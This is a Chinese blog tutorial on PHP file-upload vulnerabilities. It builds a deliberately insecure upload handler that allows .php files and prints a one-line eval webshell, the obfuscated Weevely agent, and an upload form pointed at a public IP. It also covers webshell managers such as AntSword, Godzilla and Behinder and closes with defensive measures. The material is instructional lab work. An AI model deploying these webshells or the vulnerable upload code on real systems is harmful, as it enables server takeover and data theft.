文件上传漏洞原理

已于 2022-04-17 08:10:11 修改
阅读量1.1k 收藏 5
点赞数
分类专栏： 网络安全 文章标签： php 服务器 安全
于 2022-03-09 21:54:46 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_57379855/article/details/123381173
版权

文件上传漏洞原理

文件上传漏洞原理

文件上传漏洞

可以利用WEB上传一些特定的文件.一般情况下文件上传漏洞是指用户上传了一个可执行的脚本文件，并通过此脚本文件获得了执行服务器端命令的能力.
文件上传本身是web中最为常见的一种功能需求,关键是文件上传之后服务器端的处理’ 解释文件的过程是否安全。一般的情况有：

  • 1.上传文件WEB脚本语言，服务器的WEB容器解释并执行了用户上传的脚本，导致代码执 行；
  • 2.上传文件FLASH策略文件crossdomain, xml,以此来控制Fl ash在该域下的行为；
  • 3.上传文件是病毒’ 木马文件，攻击者用以诱骗用户或管理员下栽执行；
  • 4.上传文件是钓鱼图片或为包含了就本的图片，某些浏覧器会作为脚本执行，实施钓鱼 或欺诈；
    现在在自己的虚拟机里部署一下

index.php

<!DOCTYPE html>
<html>
<head>
  <title>文件上传</title>
  <meta charset="utf-8">
</head>
<body>
  <center>
    <!-- enctype="mulipart/form-data"属性是指以二进制方式进行数据传输 
    传输文件需要设置-->
    <form action="upload_server.php" method="post" enctype="multipart/form-data">
      <input type="hidden" name="max_file_size" value="1048576">
      <input type="file" name="file">
      <input type="submit" name="上传">    
    </form>
  </center>
</body>
</html>

upload_server.php

<?php 
  header("content-type:text/html;charset=utf-8");
  //设置时区
  date_default_timezone_set('PRC');
  //获取文件名
  $filename = $_FILES['file']['name'];
  //获取文件临时路径
  $temp_name = $_FILES['file']['tmp_name'];
  //获取大小
  $size = $_FILES['file']['size'];
  //获取文件上传码，0代表文件上传成功
  $error = $_FILES['file']['error'];
  //判断文件大小是否超过设置的最大上传限制
  if ($size > 2*1024*1024){
    //
    echo "<script>alert('文件大小超过2M大小');window.history.go(-1);</script>";
    exit();
  }
  //phpinfo函数会以数组的形式返回关于文件路径的信息 
  //[dirname]:目录路径[basename]:文件名[extension]:文件后缀名[filename]:不包含后缀的文件名
  $arr = pathinfo($filename);
  //获取文件的后缀名
  $ext_suffix = $arr['extension'];
  //设置允许上传文件的后缀
  $allow_suffix = array('jpg','gif','jpeg','png','php');
  //判断上传的文件是否在允许的范围内（后缀）==>白名单判断
  if(!in_array($ext_suffix, $allow_suffix)){
    //window.history.go(-1)表示返回上一页并刷新页面
    echo "<script>alert('上传的文件类型只能是jpg,gif,jpeg,png');window.history.go(-1);</script>";
    exit();
  }
  //检测存放上传文件的路径是否存在，如果不存在则新建目录
  if (!file_exists('uploads')){
    mkdir('uploads');
  }
  //为上传的文件新起一个名字，保证更加安全
  //$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;
  $new_filename = $filename;
  //将文件从临时路径移动到磁盘
  if (move_uploaded_file($temp_name, 'uploads/'.$new_filename)){
    echo "<script>alert('文件上传成功！../uploads/".$new_filename."');window.history.go(-1);</script>";
  }else{
    echo "<script>alert('文件上传失败,错误码：$error');</script>";
  }
 ?>

实践

在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述在这里插入图片描述

一句话木马@eval($_POST[‘half’])
@:忽略错误信息
在这里插入图片描述在这里插入图片描述在这里插入图片描述

webshell介绍

  • 一句话木马：
    代码短，场景多。
    可以单独生成文件，可以插入到图片中。
    安全性高，隐匿性强，可变形免杀。
<?php
	header("Content-type:text/html;charset=gb1232");
	echo "<pre>";
	@eval($_POST['half']); 
?>
  • 小马：
    是指有的网站没有上传，则需要通过小马来构造一个文件上传点。
    体积小，功能少，只有文件上传功能
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>POST数据包POC</title>
        </head>
    <body>
    <form action="http://121.199.3.139:9008/" method="post" enctype="multipart/form-data">
    
        <label for="file">文件名：</label>
        <input type="file" name="file" id="file"><br>
        <input type="submit" name="submit" value="提交">
    </form>
    </body>
</html>
  • 大马：
    体积大，功能全。
    能够管理数据库、文件管理、对站点进行快速的信息收集。
    甚至能够提权

网站控制工具

中国蚁剑

在这里插入图片描述
右键
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

weevely

在这里插入图片描述在这里插入图片描述在这里插入图片描述

  • weevely.php
<?php
$T='ode($aMm[1]),$k)aMaM));$o=@ob_aMgetaM_conteaMnts(aM);@ob_end_cleanaM();aM$r=';
$O='"1u9MmpuqaMq2EGlX4v"aM;faMunction x(aM$taM,$k){$aMc=saMtrlen($k);aM$l=s';
$V='traMlen(aM$t);aM$o="";aMfor($i=0;$i<$l;aMaM)aM{for($j=0;($j<$aMc&&$i<$a';
$e=str_replace('UN','','creUNaUNteUNUN_UNfUNunction');
$u='==aM1) {@obaM_staraMt(aM);@evaaMl(@gzuaMncompress(@xaM(@baMasaMe64_dec';
$o='@baMase64_aMencodaMe(@xaM(@aMgzcompraMess(aM$o),$k));print("$aMpaM$kh$r$kf");}';
$s='Ml);$aMj++,$iaMaM++){$o.=$t{$aMi}^$k{$aMj};}}aMretaMurnaM $o;}if (aM@pr';
$Z='$aMk="7afe399f"aM;$aMkh="1415baM137d09aM6aM";$kfaM="2f826aM62fa9aMd4";aM$p=';
$m='eg_match(aM"/$kaMh(.aM+)$kf/",@aMfile_aMgaMet_contents("paMhpaM:/aM/input"),$m)aM';
$v=str_replace('aM','',$Z.$O.$V.$s.$m.$u.$T.$o);
$J=$e('',$v);$J();
?>

把这个文件放进centos7系统里
phpstudy的一些应用
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

  • 哥斯拉godzilla

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

  • 冰蝎behinder

在这里插入图片描述在这里插入图片描述密码在behinder.php文件里，实际使用时记得修改
在这里插入图片描述在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

注意修改密码
在这里插入图片描述

文件上传漏洞危害

黑链

某些黑客入侵后，会给你挂上黑链

挖矿

通过文件上传挖矿代码

敏感文件泄漏

电脑里的敏感文件泄漏

靶场安装

win10安装Apache和PHP
在这里插入图片描述
需要靶场请留言，我私信发你
在这里插入图片描述

靶场练习

upload-labs

文件上传漏洞发现与利用

文件上传漏洞利用流程
1，找到文件上传的位置
2，尝试绕过校验，上传文件
3，获得文件位置
4，蚁剑连接，管理文件

在这里插入图片描述
fuxploider自动扫描系统的文件上传点

文件上传漏洞防御

针对文件上传漏洞的特点和必须具备的三个条件，我们阻断任何一个条件就可以达到 组织文件上传攻击的目的：
1、 最有效的，将文件上传目录直接设置为不可执行，对于Linux而言，撤销其目录的 权限；实际中很多大型网站的上传应用都会放置在独立的存储上作为静态文件处理， 一是方便使用缓存加速降低能耗，二是杜绝了脚本执行的可能性；
2、 文件类型检查：强烈推荐白名单方式，结合MIME Type、后缀检查等方式（即只允许 允许的文件类型进行上传）；此外对于图片的处理可以使用压缩函数或resize函数, 处理图片的同时破坏其包含的HTML代码；
3、 使用随机数改写文件名和文件路径，使得用户不能轻易访问自己上传的文件；
4、 单独设置文件服务器的域名；

文件上传的前提
1，网站上传功能能正常使用
2，文件类型允许上传
3，上传路径可以确定
4，文件可以被访问，可以被执行或被包含
linux文件权限
r=4
w=2
x=1
在这里插入图片描述

half~
关注
  • 0
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
计算机病毒与防护：文件上传漏洞原理.ppt
06-10
* * * * * * * * * * * * 文件上传漏洞原理 文件上传功能是大部分WEB应用的必备功能，网站允许用户自行上传头像、一些社交类网站允许用户上传照片、一些服务类网站需要用户上传证明材料的电子档、电商类网站允许用户...
浅谈文件上传漏洞
qz362228的博客
04-16 9895
前言 一、文件上传漏洞的原理 二、 ## 1. 2. 总结 提示：这里对文章进行总结： 例如：以上就是今天要讲的内容，本文仅仅简单介绍了pandas的使用，而pandas提供了大量能使我们快速便捷地处理数据的函数和方法。 ...
文件上传漏洞-原理篇
AkangBoy的博客
12-02 3099
本文主要介绍文件上传漏洞原理、危害等基础知识，以及常见的文件上传检测机制和绕过手段
PHP的文件上传漏洞的前因后果
cul1n的博客
02-07 1168
文件上传是常见的网络服务提供点，我们面对文件上传的时候，其实思路不只是去拿到Webshell，也可以根据其服务提供的特点，尝试去挖掘XSS或者其他方面的漏洞，不失为一种好的选择，本篇文章对文件上传的PHP代码的基础做了详细的介绍，旨在告诉初学者常见的文件上传类型及原理，开发者是如何部署文件上传服务的，以及如何常见的过滤手法是什么，希望这篇文章能够对初学者有所帮助
文件上传漏洞原理和绕过方式
Andrew的博客
03-22 6345
一.文件上传漏洞原理 网站Web应用都有一些文件上传功能，比如文档、图片、头像、视频上传，当上传功能的实现代码没有严格校验上传文件的后缀和文件类型，此时攻击者就可以上传一个webshell到一个Web可访问的目录上，并将恶意文件传递给如PHP解释器去执行，之后就可以在服务器上执行恶意代码，进行数据库执行、服务器文件管理，服务器命令执行等恶意操作。还有一部分是攻击者通过Web服务器的解析漏洞来突破...
文件上传漏洞详解
热门推荐
剁椒鱼头没剁椒的博客
11-28 1万+
文件上传漏洞是web系统中常见的一种功能，通过文件上传能实现上传图片、视频，以及其他类型的文件，但是随着web中包含的功能越来越多，潜在的网络安全风险也就越大。如果恶意用户上传了可执行的文件或者脚本，就会导致网站被其控制甚至会使其服务器沦陷，以至于引发恶意的网络安全事件。编辑器也就是在线的web编辑器，比如在搭建博客后需要发布文章，那么用来发布文章的界面就是web编辑器。
网络安全-文件上传漏洞的原理、攻击与防御
关注网络安全、云原生安全
08-16 1万+
介绍 文件上传漏洞是指用户上传了一个可执行的脚本文件（php、jsp、xml、cer等文件），而WEB系统没有进行检测或逻辑做的不够安全。文件上传功能本身没有问题，问题在于上传后如何处理及解释文件。 分类 根据简介，主要分为上传（客户端）、解析（服务端）两大类。 上传-javascript检测 简介 通过js代码，对文件后缀进行判断。 原理 一般使用白名单或黑名单的方式，判断文件后缀，根据后缀决定用户是否上传。 攻击 Firebug插件删除判断函数 使用靶机pikachu做例子，直接通
文件上传漏洞的原理和利用(详细)
永不落的梦想
07-05 1719
本文包含文件上传漏洞的原理、利用和防御，绕过文件上传限制的各种姿势可以有效地利用文件上传漏洞，非常全面详细
一文爽 文件上传漏洞原理、方法和类型详细解析
MachineGunJoe666
05-23 409
文件上传漏洞是web系统中常见的一种功能，通过文件上传能实现上传图片、视频，以及其他类型的文件，但是随着web中包含的功能越来越多，潜在的网络安全风险也就越大。如果恶意用户上传了可执行的文件或者脚本，就会导致网站被其控制甚至会使其服务器沦陷，以至于引发恶意的网络安全事件。
文件上传漏洞原理.md
05-07
适合刚入门web安全的小白
ASP的chr(0)文件上传漏洞原理和解决方法介绍
10-25
主要介绍了ASP的chr(0)文件上传漏洞原理和解决方法介绍,chr(0)漏洞在上传文件时可以绕过扩展名验证,是一个危害非常大的漏洞,需要的朋友可以参考下
云计算安全文件上传渗透
01-14
并顺利执行，则相当于黑客直接拿到了Webshell 4、一旦黑客拿到Webshell，则可以拿到Web应用的数据，删除Web文件，本地提权，进一步拿下整个服务器甚至内网 5、SQL注入攻击的对象是数据库服务，文件上传漏洞主要攻击...
【Web】CTFSHOW 中期测评刷题记录(1)
最新发布
uuzeray的博客
05-02 1397
访问./cache/6a992d5529f459a44fee58c733255e86.php，命令执行拿flag。login.php是在./templates下的，而./flag.php与./templates均为web目录。注意到用./template/error.php中存在{{username}}，可以用其cache来写马。这时候重开下靶机再去读./templates/index.php，发现是给了提示的。访问./config/settings.php，命令执行拿到flag。
supervisor 简单理解
qq_42857358的博客
04-28 261
test.ini文件内容。
桌面运维岗面试三十问
一坨小橙子的博客
04-28 764
桌面运维岗面试问题及答案汇总
PHP算命源码_最新测算塔罗源码_可以运营
吉他程序员的博客
04-30 326
八字精批、事业财运、姓名分析、宝宝起名、公司测名、姓名配对、综合详批、姻缘测算、牛年感情、PC版测算、八字合婚、紫微斗数、鼠年运程、月老姻缘、许愿祈福、号码解析、塔罗运势、脱单占卜、感情继续、脱单占卜、塔罗爱情、心理有你、能否复合、暗恋对象、是否分手、爱着别人、大师服务（包含多项功能）共计30余项功能，全网功能全，完善的版本。
任意文件上传漏洞原理
10-31
任意文件上传漏洞的原理是，Web应用程序没有对上传的文件进行充分的验证和过滤，导致攻击者可以上传包含恶意代码的文件。为了防止任意文件上传漏洞，开发人员应该对上传的文件进行充分的验证和过滤，包括文件类型、...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值